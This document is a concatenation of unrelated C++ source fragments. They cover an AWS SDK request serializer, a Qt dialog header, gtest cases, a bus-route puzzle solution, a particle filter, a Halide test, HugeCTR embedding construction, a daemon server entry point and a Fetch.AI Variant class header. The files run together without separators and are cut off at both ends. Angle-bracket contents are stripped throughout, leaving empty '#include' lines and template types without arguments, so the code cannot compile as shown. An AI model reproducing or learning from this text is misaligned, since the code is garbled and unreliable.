m_maxResults(0), m_maxResultsHasBeenSet(false), m_nextTokenHasBeenSet(false), m_resourceType(ResourceType::NOT_SET), m_resourceTypeHasBeenSet(false), m_resourceTagsHasBeenSet(false) { } Aws::String ListRulesRequest::SerializePayload() const { JsonValue payload; if(m_maxResultsHasBeenSet) { payload.WithInteger("MaxResults", m_maxResults); } if(m_nextTokenHasBeenSet) { payload.WithString("NextToken", m_nextToken); } if(m_resourceTypeHasBeenSet) { payload.WithString("ResourceType", ResourceTypeMapper::GetNameForResourceType(m_resourceType)); } if(m_resourceTagsHasBeenSet) { Array resourceTagsJsonList(m_resourceTags.size()); for(unsigned resourceTagsIndex = 0; resourceTagsIndex < resourceTagsJsonList.GetLength(); ++resourceTagsIndex) { resourceTagsJsonList[resourceTagsIndex].AsObject(m_resourceTags[resourceTagsIndex].Jsonize()); } payload.WithArray("ResourceTags", std::move(resourceTagsJsonList)); } return payload.View().WriteReadable(); } /* * The MIT License (MIT) * Copyright (c) 2018 * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the “Software”), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is furnished * to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * The Software is provided “as is”, without warranty of any kind, express or implied, * including but not limited to the warranties of merchantability, fitness for a * particular purpose and noninfringement. In no event shall the authors or copyright * holders be liable for any claim, damages or other liability, whether in an action * of contract, tort or otherwise, arising from, out of or in connection with the * software or the use or other dealings in the Software. */ #ifndef WIZARD_H #define WIZARD_H #include #include "src/vars.hpp" #include "src/gui/mwindow.hpp" class wizard : public QDialog { Q_OBJECT private: vars *jag; mwindow *win; void closeEvent (QCloseEvent *event); QVBoxLayout *l; QWidget *gen_start(); QWidget *gen_libs(); QWidget *gen_ui(); QWidget *current; public: wizard (mwindow *win, vars *jag); ~wizard(); private slots: // void on_close(); void switch_start(); void switch_libs(); void switch_ui(); signals: void show_mwindow(); }; #endif // WIZARD_H #include "common.h" #include namespace ctr { class FractionDeltaFixture : public ::testing::Test { protected: const nc::net::Walk* GetPath() { std::unique_ptr new_path = nc::make_unique(); paths_.emplace_back(std::move(new_path)); return paths_.back().get(); } std::vector> paths_; }; TEST_F(FractionDeltaFixture, Simple) { std::vector from; std::vector to; ASSERT_TRUE(GetFractionDeltas(from, to).empty()); } TEST_F(FractionDeltaFixture, NoChangeSingle) { auto p1 = GetPath(); std::vector from = {{p1, 1.0}}; std::vector to = {{p1, 1.0}}; std::vector changes = GetFractionDeltas(from, to); ASSERT_EQ(1ul, changes.size()); const FlowPathChange& change_one = changes.front(); ASSERT_EQ(p1, change_one.from); ASSERT_EQ(p1, change_one.to); ASSERT_DOUBLE_EQ(1.0, change_one.fraction); } TEST_F(FractionDeltaFixture, NoChangeMulti) { auto p1 = GetPath(); auto p2 = GetPath(); std::vector from = {{p1, 0.2}, {p2, 0.8}}; std::vector to = {{p1, 0.2}, {p2, 0.8}}; std::vector changes = GetFractionDeltas(from, to); ASSERT_EQ(2ul, changes.size()); const FlowPathChange& change_one = changes.front(); ASSERT_EQ(p1, change_one.from); ASSERT_EQ(p1, change_one.to); ASSERT_DOUBLE_EQ(0.2, change_one.fraction); const FlowPathChange& change_two = changes.back(); ASSERT_EQ(p2, change_two.from); ASSERT_EQ(p2, change_two.to); ASSERT_DOUBLE_EQ(0.8, change_two.fraction); } TEST_F(FractionDeltaFixture, Flip) { auto p1 = GetPath(); auto p2 = GetPath(); std::vector from = {{p1, 0.2}, {p2, 0.8}}; std::vector to = {{p1, 0.8}, {p2, 0.2}}; std::vector changes = GetFractionDeltas(from, to); ASSERT_EQ(3ul, changes.size()); const FlowPathChange& change_one = changes.front(); ASSERT_EQ(p1, change_one.from); ASSERT_EQ(p1, change_one.to); ASSERT_DOUBLE_EQ(0.2, change_one.fraction); const FlowPathChange& change_two = changes[1]; ASSERT_EQ(p2, change_two.from); ASSERT_EQ(p1, change_two.to); ASSERT_DOUBLE_EQ(0.6, change_two.fraction); const FlowPathChange& change_three = changes.back(); ASSERT_EQ(p2, change_three.from); ASSERT_EQ(p2, change_three.to); ASSERT_DOUBLE_EQ(0.2, change_three.fraction); } TEST_F(FractionDeltaFixture, Changes) { auto p1 = GetPath(); auto p2 = GetPath(); auto p3 = GetPath(); std::vector from = {{p1, 1.0}}; std::vector to = {{p2, 0.7}, {p3, 0.3}}; std::vector changes = GetFractionDeltas(from, to); ASSERT_EQ(2ul, changes.size()); const FlowPathChange& change_one = changes.front(); ASSERT_EQ(p1, change_one.from); ASSERT_EQ(p2, change_one.to); ASSERT_DOUBLE_EQ(0.7, change_one.fraction); const FlowPathChange& change_two = changes.back(); ASSERT_EQ(p1, change_two.from); ASSERT_EQ(p3, change_two.to); ASSERT_DOUBLE_EQ(0.3, change_two.fraction); } TEST_F(FractionDeltaFixture, ChangesTwo) { auto p1 = GetPath(); auto p2 = GetPath(); auto p3 = GetPath(); std::vector from = {{p2, 0.7}, {p3, 0.3}}; std::vector to = {{p1, 1.0}}; std::vector changes = GetFractionDeltas(from, to); ASSERT_EQ(2ul, changes.size()); const FlowPathChange& change_one = changes.front(); ASSERT_EQ(p2, change_one.from); ASSERT_EQ(p1, change_one.to); ASSERT_DOUBLE_EQ(0.7, change_one.fraction); const FlowPathChange& change_two = changes.back(); ASSERT_EQ(p3, change_two.from); ASSERT_EQ(p1, change_two.to); ASSERT_DOUBLE_EQ(0.3, change_two.fraction); } TEST_F(FractionDeltaFixture, NewPath) { auto p1 = GetPath(); auto p2 = GetPath(); auto p3 = GetPath(); auto p4 = GetPath(); std::vector from = {{p4, 0.1}, {p1, 0.7}, {p3, 0.2}}; std::vector to = {{p4, 0.1}, {p1, 0.6}, {p2, 0.3}}; std::vector changes = GetFractionDeltas(from, to); ASSERT_EQ(4ul, changes.size()); const FlowPathChange& change_one = changes.front(); ASSERT_EQ(p4, change_one.from); ASSERT_EQ(p4, change_one.to); ASSERT_DOUBLE_EQ(0.1, change_one.fraction); const FlowPathChange& change_two = changes[1]; ASSERT_EQ(p1, change_two.from); ASSERT_EQ(p1, change_two.to); ASSERT_DOUBLE_EQ(0.6, change_two.fraction); const FlowPathChange& change_three = changes[2]; ASSERT_EQ(p1, change_three.from); ASSERT_EQ(p2, change_three.to); ASSERT_DOUBLE_EQ(0.1, change_three.fraction); const FlowPathChange& change_four = changes.back(); ASSERT_EQ(p3, change_four.from); ASSERT_EQ(p2, change_four.to); ASSERT_DOUBLE_EQ(0.2, change_four.fraction); } } // namespace ctr #include using namespace std; const int N = 510; vector g[N]; set ss; struct Node { int pos, step; }; class Solution { public: bool can(vector>& routes, int i, int j) { auto x = routes[i]; auto y = routes[j]; int n1 = x.size(), n2 = y.size(); int a = 0, b = 0; while (a < n1 && b < n2) { if (x[a] == y[b]) return true; if (x[a] < y[b]) a++; else b++; } return false; } int numBusesToDestination(vector>& routes, int source, int target) { if (source == target) return 0; int n = routes.size(); bool v[N]; set mp[N]; memset(v, 0, sizeof v); memset(g, 0, sizeof g); ss.clear(); for (int i = 0; i < n; i++) { for (int j = i + 1; j < n; j++) { if (can(routes, i, j)) { g[i].push_back(j); g[j].push_back(i); } } } for (int i = 0; i < n; i++) { for (int x : routes[i]) { mp[i].insert(x); if (x == source) ss.insert(i); } } //if (mp[source].size() == 0 || mp[target].size() == 0) return -1; queue q; for (int x : ss) { q.push({x, 1}); v[x] = true; } while (!q.empty()) { auto t = q.front(); q.pop(); //cout << t.pos << endl; if (mp[t.pos].find(target) != mp[t.pos].end()) return t.step; for (auto x : g[t.pos]) { if (!v[x]) { q.push({x, t.step + 1}); v[x] = true; } } } return -1; } }; int main() { return 0; }/* * particle_filter.cpp * * Created on: Dec 12, 2016 * Author: */ #include #include #include #include #include #include #include #include #include #include "particle_filter.h" using namespace std; void ParticleFilter::init(double x, double y, double theta, double std[]) { num_particles = 100; //inital random and norm distribution std::default_random_engine gen; std::normal_distribution norm_x(x, std[0]); std::normal_distribution norm_y(y, std[1]); std::normal_distribution norm_theta(theta, std[2]); for (int i=0; i < num_particles; i++) { Particle particle; particle.id = i; particle.x = norm_x(gen); particle.y = norm_y(gen); particle.theta = norm_theta(gen); particle.weight = 1; particles.push_back(particle); weights.push_back(1); } //set flag initialize to true is_initialized = true; } void ParticleFilter::prediction(double delta_t, double std_pos[], double velocity, double yaw_rate) { std::default_random_engine gen; for (int i=0; i < num_particles; i++) { double predict_new_x; double predict_new_y; double predict_new_theta; if (yaw_rate == 0) { predict_new_x = particles[i].x + velocity*delta_t*cos(particles[i].theta); predict_new_y = particles[i].y + velocity*delta_t*sin(particles[i].theta); predict_new_theta = particles[i].theta; } else { predict_new_x = particles[i].x + velocity/yaw_rate*(sin(particles[i].theta+yaw_rate*delta_t) - sin(particles[i].theta)); predict_new_y = particles[i].y + velocity/yaw_rate*(cos(particles[i].theta) - cos(particles[i].theta + yaw_rate*delta_t)); predict_new_theta = particles[i].theta + yaw_rate*delta_t; } normal_distribution norm_x(predict_new_x, std_pos[0]); normal_distribution norm_y(predict_new_y, std_pos[1]); normal_distribution norm_theta(predict_new_theta, std_pos[2]); // set new value of x, y and theta back with noise! particles[i].x = norm_x(gen); particles[i].y = norm_y(gen); particles[i].theta = norm_theta(gen); } } void ParticleFilter::updateWeights(double sensor_range, double std_landmark[], const std::vector &observations, const Map &map_landmarks) { for (int i = 0; i < particles.size(); i++) { std::vector observations_transf; Particle p = particles[i]; for (LandmarkObs obs : observations) { LandmarkObs trans_obj; trans_obj.id = obs.id; trans_obj.x = p.x + cos(p.theta)*obs.x - sin(p.theta)*obs.y; trans_obj.y = p.y + sin(p.theta)*obs.x + cos(p.theta)*obs.y; observations_transf.push_back(trans_obj); } p.weight = 1.0; std::vector associations; std::vector sense_x; std::vector sense_y; for(LandmarkObs t_obs: observations_transf) { int association = 0; double closest_dist = sensor_range*sensor_range; for (int j=0; j < map_landmarks.landmark_list.size(); j++) { Map::single_landmark_s s_landmark = map_landmarks.landmark_list[j]; //check map within range double dist_from_particle = dist(p.x, p.y, s_landmark.x_f, s_landmark.y_f); if (dist_from_particle <= sensor_range) { double dist_obs_map = dist(t_obs.x, t_obs.y, s_landmark.x_f, s_landmark.y_f); if (dist_obs_map < closest_dist) { closest_dist = dist_obs_map; association = j; } } } if (association != 0) { double meas_x = t_obs.x; double meas_y = t_obs.y; int map_id = map_landmarks.landmark_list[association].id_i; double mu_x = map_landmarks.landmark_list[association].x_f; double mu_y = map_landmarks.landmark_list[association].y_f; double sig_x = std_landmark[0]; double sig_y = std_landmark[1]; long double gauss_norm = 1/(2*M_PI*sig_x*sig_y); long double exponent = (pow(meas_x-mu_x,2)/2*pow(sig_x,2)) + (pow(meas_y-mu_y,2)/2*pow(sig_y,2)); long double multiplier = gauss_norm*exp(-(exponent)); if (multiplier > 0) { p.weight *= multiplier; weights[i] = p.weight; } associations.push_back(map_id); sense_x.push_back(mu_x); sense_y.push_back(mu_y); } else { p.weight *= numeric_limits::min(); weights[i] = p.weight; } } // reassign p back to particles particles[i] = p; SetAssociations(particles[i], associations, sense_x, sense_y); } } void ParticleFilter::resample() { std::vector resampling_particles; std::default_random_engine gen; for(int i=0; i< num_particles; i++) { std::discrete_distribution index(weights.begin(), weights.end()); resampling_particles.push_back(particles[index(gen)]); } // replace current particles particles = resampling_particles; } Particle ParticleFilter::SetAssociations(Particle& particle, const std::vector& associations, const std::vector& sense_x, const std::vector& sense_y) { //particle: the particle to assign each listed association, and association's (x,y) world coordinates mapping to // associations: The landmark id that goes along with each listed association // sense_x: the associations x mapping already converted to world coordinates // sense_y: the associations y mapping already converted to world coordinates particle.associations= associations; particle.sense_x = sense_x; particle.sense_y = sense_y; return particle; } string ParticleFilter::getAssociations(Particle best) { vector v = best.associations; stringstream ss; copy( v.begin(), v.end(), ostream_iterator(ss, " ")); string s = ss.str(); s = s.substr(0, s.length()-1); // get rid of the trailing space return s; } string ParticleFilter::getSenseX(Particle best) { vector v = best.sense_x; stringstream ss; copy( v.begin(), v.end(), ostream_iterator(ss, " ")); string s = ss.str(); s = s.substr(0, s.length()-1); // get rid of the trailing space return s; } string ParticleFilter::getSenseY(Particle best) { vector v = best.sense_y; stringstream ss; copy( v.begin(), v.end(), ostream_iterator(ss, " ")); string s = ss.str(); s = s.substr(0, s.length()-1); // get rid of the trailing space return s; } josephsieh/Halidetest/error/impossible_constraints.cpp #include #include using namespace Halide; int main(int argc, char **argv) { ImageParam input(Float(32), 2, "in"); Func out("out"); // The requires that the input be larger than the input out() = input(input.width(), input.height()) + input(0, 0); out.infer_input_bounds(); return 0; } /* * Copyright (c) 2021, NVIDIA CORPORATION. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include #include #include #include #include #include #include #ifdef ENABLE_MPI #include #endif namespace HugeCTR { template void create_embedding::operator()( std::map>& sparse_input_map, std::vector* train_tensor_entries_list, std::vector* evaluate_tensor_entries_list, std::vector>& embeddings, Embedding_t embedding_type, const nlohmann::json& config, const std::shared_ptr& resource_manager, size_t batch_size, size_t batch_size_eval, std::shared_ptr& exchange_wgrad, bool use_mixed_precision, float scaler, const nlohmann::json& j_layers, bool use_cuda_graph, bool grouped_all_reduce) { #ifdef ENABLE_MPI int num_procs = 1, pid = 0; MPI_Comm_rank(MPI_COMM_WORLD, &pid); MPI_Comm_size(MPI_COMM_WORLD, &num_procs); #endif auto j_optimizer = get_json(config, "optimizer"); auto embedding_name = get_value_from_json(j_layers, "type"); auto bottom_name = get_value_from_json(j_layers, "bottom"); auto top_name = get_value_from_json(j_layers, "top"); auto j_hparam = get_json(j_layers, "sparse_embedding_hparam"); if (!has_key_(j_hparam, "workspace_size_per_gpu_in_mb") && !has_key_(j_hparam, "slot_size_array")) { HCTR_OWN_THROW(Error_t::WrongInput, "need workspace_size_per_gpu_in_mb or slot_size_array"); } auto combiner_str = get_value_from_json(j_hparam, "combiner"); int combiner = -1; if (combiner_str == "sum") { combiner = 0; } else if (combiner_str == "mean") { combiner = 1; } else { HCTR_OWN_THROW(Error_t::WrongInput, "No such combiner type: " + combiner_str); } std::vector slot_size_array; if (has_key_(j_hparam, "slot_size_array")) { auto slots = get_json(j_hparam, "slot_size_array"); assert(slots.is_array()); for (auto slot : slots) { slot_size_array.emplace_back(slot.get()); } } SparseInput sparse_input; if (!find_item_in_map(sparse_input, bottom_name, sparse_input_map)) { HCTR_OWN_THROW(Error_t::WrongInput, "Cannot find bottom"); } OptParams embedding_opt_params; if (has_key_(j_layers, "optimizer")) { embedding_opt_params = get_optimizer_param(get_json(j_layers, "optimizer")); } else { embedding_opt_params = get_optimizer_param(j_optimizer); } embedding_opt_params.scaler = scaler; size_t workspace_size_per_gpu_in_mb = get_value_from_json_soft(j_hparam, "workspace_size_per_gpu_in_mb", 0); auto embedding_vec_size = get_value_from_json(j_hparam, "embedding_vec_size"); // should be match with HugeCTR/src/optimizers/sparse_optimizer.cu size_t num_opt_state_copies = 0; switch (embedding_opt_params.optimizer) { case Optimizer_t::Adam: { num_opt_state_copies = 2; if (embedding_opt_params.update_type == Update_t::LazyGlobal) { num_opt_state_copies += 1; } break; } case Optimizer_t::AdaGrad: case Optimizer_t::MomentumSGD: case Optimizer_t::Nesterov: { num_opt_state_copies = 1; break; } case Optimizer_t::SGD: break; default: throw std::runtime_error( std::string("[HCDEBUG][ERROR] Runtime error: Invalid optimizer type\n")); } size_t max_vocabulary_size_per_gpu = (workspace_size_per_gpu_in_mb * 1024 * 1024) / ((1 + num_opt_state_copies) * sizeof(float) * embedding_vec_size); switch (embedding_type) { case Embedding_t::DistributedSlotSparseEmbeddingHash: { const SparseEmbeddingHashParams embedding_params = {batch_size, batch_size_eval, max_vocabulary_size_per_gpu, {}, embedding_vec_size, sparse_input.max_feature_num_per_sample, sparse_input.slot_num, combiner, // combiner: 0-sum, 1-mean embedding_opt_params}; embeddings.emplace_back(new DistributedSlotSparseEmbeddingHash( sparse_input.train_sparse_tensors, sparse_input.evaluate_sparse_tensors, embedding_params, resource_manager)); break; } case Embedding_t::LocalizedSlotSparseEmbeddingHash: { const SparseEmbeddingHashParams embedding_params = {batch_size, batch_size_eval, max_vocabulary_size_per_gpu, slot_size_array, embedding_vec_size, sparse_input.max_feature_num_per_sample, sparse_input.slot_num, combiner, // combiner: 0-sum, 1-mean embedding_opt_params}; embeddings.emplace_back(new LocalizedSlotSparseEmbeddingHash( sparse_input.train_sparse_tensors, sparse_input.evaluate_sparse_tensors, embedding_params, resource_manager)); break; } case Embedding_t::LocalizedSlotSparseEmbeddingOneHot: { const SparseEmbeddingHashParams embedding_params = {batch_size, batch_size_eval, 0, slot_size_array, embedding_vec_size, sparse_input.max_feature_num_per_sample, sparse_input.slot_num, combiner, // combiner: 0-sum, 1-mean embedding_opt_params}; embeddings.emplace_back(new LocalizedSlotSparseEmbeddingOneHot( sparse_input.train_sparse_tensors, sparse_input.evaluate_sparse_tensors, embedding_params, resource_manager)); break; } case Embedding_t::HybridSparseEmbedding: { std::vector slot_size_array; auto slots = get_json(j_hparam, "slot_size_array"); assert(slots.is_array()); for (auto slot : slots) { slot_size_array.emplace_back(slot.get()); } // FIXME need to access this variable in line 1394 for init_data_reader size_t num_iterations_statistics = get_value_from_json_soft(j_hparam, "num_iterations_statistics", 20); auto max_num_frequent_categories = get_value_from_json_soft(j_hparam, "max_num_frequent_categories", 1); auto max_num_infrequent_samples = get_value_from_json_soft(j_hparam, "max_num_infrequent_samples", -1); double p_dup_max = get_value_from_json_soft(j_hparam, "p_dup_max", 1. / 100); double max_all_reduce_bandwidth = get_value_from_json_soft(j_hparam, "max_all_reduce_bandwidth", 1.3e11); double max_all_to_all_bandwidth = get_value_from_json_soft(j_hparam, "max_all_to_all_bandwidth", 1.9e11); double efficiency_bandwidth_ratio = get_value_from_json_soft(j_hparam, "efficiency_bandwidth_ratio", 1.0); std::string communication_type_string; if (has_key_(j_hparam, "communication_type")) { communication_type_string = get_value_from_json(j_hparam, "communication_type"); } else { communication_type_string = "IB_NVLink"; } CommunicationType communication_type = CommunicationType::Unknown; if (!find_item_in_map(communication_type, communication_type_string, COMMUNICATION_TYPE_MAP)) { HCTR_OWN_THROW(Error_t::WrongInput, "No such communication type: " + communication_type_string); } std::string hybrid_embedding_type_string; if (has_key_(j_hparam, "hybrid_embedding_type")) { hybrid_embedding_type_string = get_value_from_json(j_hparam, "hybrid_embedding_type"); } else { hybrid_embedding_type_string = "Distributed"; } HybridEmbeddingType hybrid_embedding_type = HybridEmbeddingType::Unknown; if (!find_item_in_map(hybrid_embedding_type, hybrid_embedding_type_string, HYBRID_EMBEDDING_TYPE_MAP)) { HCTR_OWN_THROW(Error_t::WrongInput, "No such hybrid embedding type: " + hybrid_embedding_type_string); } auto& embed_wgrad_buff = (grouped_all_reduce) ? std::dynamic_pointer_cast>(exchange_wgrad) ->get_embed_wgrad_buffs() : std::dynamic_pointer_cast>(exchange_wgrad) ->get_embed_wgrad_buffs(); auto j_solver = get_json(config, "solver"); bool graph_mode = get_value_from_json_soft(j_solver, "holistic_cuda_graph", false); const HybridSparseEmbeddingParams embedding_params = { batch_size, batch_size_eval, num_iterations_statistics, // TBD max_num_frequent_categories * std::max(batch_size, batch_size_eval), // TBD max_num_infrequent_samples, // TBD p_dup_max, embedding_vec_size, sparse_input.slot_num, slot_size_array, communication_type, max_all_reduce_bandwidth, max_all_to_all_bandwidth, // TBD efficiency_bandwidth_ratio, false, false, hybrid_embedding_type, embedding_opt_params}; embeddings.emplace_back(new HybridSparseEmbedding( sparse_input.train_sparse_tensors, sparse_input.evaluate_sparse_tensors, embedding_params, embed_wgrad_buff, get_gpu_learning_rate_schedulers(config, resource_manager), graph_mode, resource_manager, false)); break; } default: HCTR_OWN_THROW(Error_t::UnspecificError, "create embedding with no specified embedding type."); } // switch for (size_t i = 0; i < resource_manager->get_local_gpu_count(); i++) { train_tensor_entries_list[i].push_back( {top_name, (embeddings.back()->get_train_output_tensors())[i]}); evaluate_tensor_entries_list[i].push_back( {top_name, (embeddings.back()->get_evaluate_output_tensors())[i]}); } } template struct create_embedding; template struct create_embedding; template struct create_embedding; template struct create_embedding; } // namespace HugeCTR #include #include #include #include #include #include #include "config_file_reader.h" int daemon() { int fd; pid_t pid = fork(); switch (pid) { case -1: fprintf(stderr, "fork() failed\n"); return -1; case 0: break; default: exit(0); } if (setsid() == -1) { fprintf(stderr, "setsid() failed\n"); return -1; } umask(0); fd = open("/dev/null", O_RDWR); if (fd == -1) { fprintf(stderr, "open(\"/dev/null\") failed\n"); return -1; } if (dup2(fd, STDIN_FILENO) == -1) { fprintf(stderr, "dup2(STDIN) failed\n"); return -1; } if (dup2(fd, STDOUT_FILENO) == -1) { fprintf(stderr, "dup2(STDOUT) failed\n"); return -1; } if (fd > STDERR_FILENO) { if (close(fd) == -1) { fprintf(stderr, "close() failed\n"); return -1; } } return 0; } int main() { if(access("../log",F_OK)==-1){ mkdir("../log",0766); } if(access("../log/broadcast",F_OK)==-1){ mkdir("../log/broadcast", 0766); } setenv("project_dir","../log/broadcast/",1); ConfigFileReader::getInstance()->init(CONF_BROADCAST_URL); daemon(); signal(SIGPIPE, SIG_IGN); std::string level = ConfigFileReader::getInstance()->ReadString("loglevel"); int l = atoi(level.c_str()); initLog(CONF_LOG, l); BroadcastServer server; if (server.init() == -1) { LOGE("httpserver init fail"); return 0; } server.start(); } #pragma once //------------------------------------------------------------------------------ // // Copyright 2018-2019 Fetch.AI Limited // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // //------------------------------------------------------------------------------ #include "core/byte_array/const_byte_array.hpp" #include "core/serializers/base_types.hpp" #include "core/serializers/main_serializer.hpp" #include "crypto/fnv.hpp" #include "meta/type_traits.hpp" #include "variant/detail/element_pool.hpp" #include "vectorise/fixed_point/fixed_point.hpp" #include "vectorise/meta/math_type_traits.hpp" #include #include #include #include #include #include #include #include #include namespace fetch { namespace variant { /** * The variant is a basic object that can store any of the following data types: * * - null * - boolean * - integer * - floating point * - array * - object * * It is a useful interchange format to JSON, YAML, Message Pack etc. Including other programming * languages. */ class Variant { public: using ConstByteArray = byte_array::ConstByteArray; /// @name Non Value Helpers /// @{ static Variant Null(); static Variant Undefined(); static Variant Array(std::size_t elements); static Variant Object(); /// @} // Construction / Destruction Variant() = default; Variant(Variant const &other); Variant(Variant &&) noexcept = default; ~Variant() = default; template explicit Variant(T const &value, meta::IfIsBoolean * /*unused*/ = nullptr); template explicit Variant(T const &value, meta::IfIsInteger * /*unused*/ = nullptr); template explicit Variant(T const &value, meta::IfIsFloat * /*unused*/ = nullptr); template explicit Variant(T const &value, math::meta::IfIsFixedPoint * /*unused*/ = nullptr); template explicit Variant(T &&value, meta::IfIsString * /*unused*/ = nullptr); explicit Variant(char const *value); /// @name Basic Type Access /// @{ bool IsUndefined() const; bool IsInteger() const; bool IsFloatingPoint() const; bool IsFixedPoint() const; bool IsBoolean() const; bool IsString() const; bool IsNull() const; bool IsArray() const; bool IsObject() const; /// @} /// @name Type Checking /// @{ template meta::IfIsBoolean Is() const; template meta::IfIsInteger Is() const; template meta::IfIsFloat Is() const; template math::meta::IfIsFixedPoint Is() const; template meta::IfIsString Is() const; /// @} /// @name Element Access /// @{ template meta::IfIsBoolean As() const; template meta::IfIsInteger As() const; template meta::IfIsFloat As() const; template math::meta::IfIsFixedPoint As() const; template meta::IfIsConstByteArray As() const; template meta::IfIsStdString As() const; /// @} std::size_t size() const; /// @name Array Element Access /// @{ Variant & operator[](std::size_t index); Variant const &operator[](std::size_t index) const; void ResizeArray(std::size_t length); /// @} /// @name Object Element Access /// @{ Variant & operator[](ConstByteArray const &key); Variant const &operator[](ConstByteArray const &key) const; bool Has(ConstByteArray const &key) const; /// @} /// @name Operators /// @{ template meta::IfIsBoolean operator=(T const &value); // NOLINT template meta::IfIsInteger operator=(T const &value); // NOLINT template meta::IfIsFloat operator=(T const &value); // NOLINT template math::meta::IfIsFixedPoint operator=(T const &value); // NOLINT template meta::IfIsAByteArray operator=(T const &value); // NOLINT template meta::IfIsStdString operator=(T const &value); // NOLINT Variant & operator=(char const *value); Variant &operator=(Variant const &value); bool operator==(Variant const &other) const; bool operator!=(Variant const &other) const; /// @} /// @name Iteration /// @{ template void IterateObject(Function const &function) const; /// @} friend std::ostream &operator<<(std::ostream &stream, Variant const &variant); enum class Type { UNDEFINED, INTEGER, FLOATING_POINT, FIXED_POINT, BOOLEAN, STRING, NULL_VALUE, ARRAY, OBJECT, }; constexpr Type type() const { return type_; } private: using VariantList = std::vector; using VariantObject = std::unordered_map>; using Pool = detail::ElementPool; union PrimitiveData { int64_t integer; double float_point; bool boolean; }; // Data Elements Type type_{Type::UNDEFINED}; ///< The type of the variant PrimitiveData primitive_{}; ///< Union of primitive data values ConstByteArray string_; ///< The string value of the variant VariantList array_; ///< The array value of the variant VariantObject object_; ///< The object value of the variant }; /** * Boolean constructor * * @tparam T A boolean type * @param value The value to be set */ template Variant::Variant(T const &value, meta::IfIsBoolean * /*unused*/) : Variant() { type_ = Type::BOOLEAN; primitive_.boolean = value; } /** * Integer constructor * * @tparam T A integer based type * @param value The value to be set */ template Variant::Variant(T const &value, meta::IfIsInteger * /*unused*/) : Variant() { type_ = Type::INTEGER; primitive_.integer = static_cast(value); } /** * Floating point constructor * * @tparam T A floating point type * @param value The value to be set */ template Variant::Variant(T const &value, meta::IfIsFloat * /*unused*/) : Variant() { type_ = Type::FLOATING_POINT; primitive_.float_point = static_cast(value); } /** * Fixed point constructor * * @tparam T A fixed point type * @param value The value to be set */ template Variant::Variant(T const &value, math::meta::IfIsFixedPoint * /*unused*/) : Variant() { type_ = Type::FIXED_POINT; primitive_.integer = value.Data(); } /** * String constructor * * @tparam T A string like object * @param value The value to be set */ template Variant::Variant(T &&value, meta::IfIsString * /*unused*/) : Variant() { type_ = Type::STRING; string_ = std::forward(value); } /** * Boolean compatibility checker * * @tparam T A boolean type * @return true if the value is compatible boolean, otherwise false */ template meta::IfIsBoolean Variant::Is() const { return IsBoolean(); } /** * Integer compatibility checker * * @tparam T A integer type * @return true if the value is compatible integer, otherwise false */ template meta::IfIsInteger Variant::Is() const { return IsInteger(); } /** * Float compatibility checker * * @tparam T A float type * @return true if the value is compatible float, otherwise false */ template meta::IfIsFloat Variant::Is() const { return IsFloatingPoint(); } /** * Fixedpoint compatibility checker * * @tparam T A fixed point type * @return true if the value is compatible fixed point, otherwise false */ template math::meta::IfIsFixedPoint Variant::Is() const { return IsFixedPoint(); } /** * String compatibility checker * * @tparam T A string type * @return true if the value is compatible string, otherwise false */ template meta::IfIsString Variant::Is() const { return IsString(); } /** * Boolean conversion accessor * * @tparam T A boolean type * @return The converted value * @throws std::runtime_error in the case where the conversion is not possible */ template meta::IfIsBoolean Variant::As() const { if (!IsBoolean()) { throw std::runtime_error("Variant type mismatch, unable to extract boolean value"); } return primitive_.boolean; } /** * Integer conversion accessor * * @tparam T A integer type * @return The converted value * @throws std::runtime_error in the case where the conversion is not possible */ template meta::IfIsInteger Variant::As() const { if (!IsInteger()) { throw std::runtime_error("Variant type mismatch, unable to extract integer value"); } return static_cast(primitive_.integer); } /** * Float conversion accessor * * @tparam T A float type * @return The converted value * @throws std::runtime_error in the case where the conversion is not possible */ template meta::IfIsFloat Variant::As() const { if (!IsFloatingPoint()) { throw std::runtime_error("Variant type mismatch, unable to extract floating point value"); } return static_cast(primitive_.float_point); } /** * Fixed point conversion accessor * * @tparam T A fixed point type * @return The converted value * @throws std::runtime_error in the case where the conversion is not possible */ template math::meta::IfIsFixedPoint Variant::As() const { if (!IsFixedPoint()) { throw std::runtime_error("Variant type mismatch, unable to extract fixed point value"); } return static_cast(fixed_point::fp64_t::FromBase(primitive_.integer)); } /** * ConstByteArray conversion accessor * * @tparam T A ConstByteArray type * @return The converted value * @throws std::runtime_error in the case where the conversion is not possible */ template meta::IfIsConstByteArray Variant::As() const { if (!IsString()) { throw std::runtime_error("Variant type mismatch, unable to extract string value"); } return string_; } /** * std::string conversion accessor * * @tparam T A std::string type * @return The converted value * @throws std::runtime_error in the case where the conversion is not possible */ template meta::IfIsStdString Variant::As() const { if (!IsString()) { throw std::runtime_error("Variant type mismatch, unable to extract string value"); } return static_cast(string_); } /** * Boolean assignment operator * * @tparam T A boolean type * @param value The value to assign * @return The reference to the updated variant */ template meta::IfIsBoolean Variant::operator=(T const &value) // NOLINT { type_ = Type::BOOLEAN; primitive_.boolean = value; return *this; } /** * Integer assignment operator * * @tparam T An integer type * @param value The value to assign * @return The reference to the updated variant */ template meta::IfIsInteger Variant::operator=(T const &value) // NOLINT { type_ = Type::INTEGER; primitive_.integer = static_cast(value); return *this; } /** * Float assignment operator * * @tparam T A floating point type * @param value The value to assign * @return The reference to the updated variant */ template meta::IfIsFloat Variant::operator=(T const &value) // NOLINT { type_ = Type::FLOATING_POINT; primitive_.float_point = static_cast(value); return *this; } /** * Fixed point assignment operator * * @tparam T A fixed point type * @param value The value to assign * @return The reference to the updated variant */ template math::meta::IfIsFixedPoint Variant::operator=(T const &value) // NOLINT { 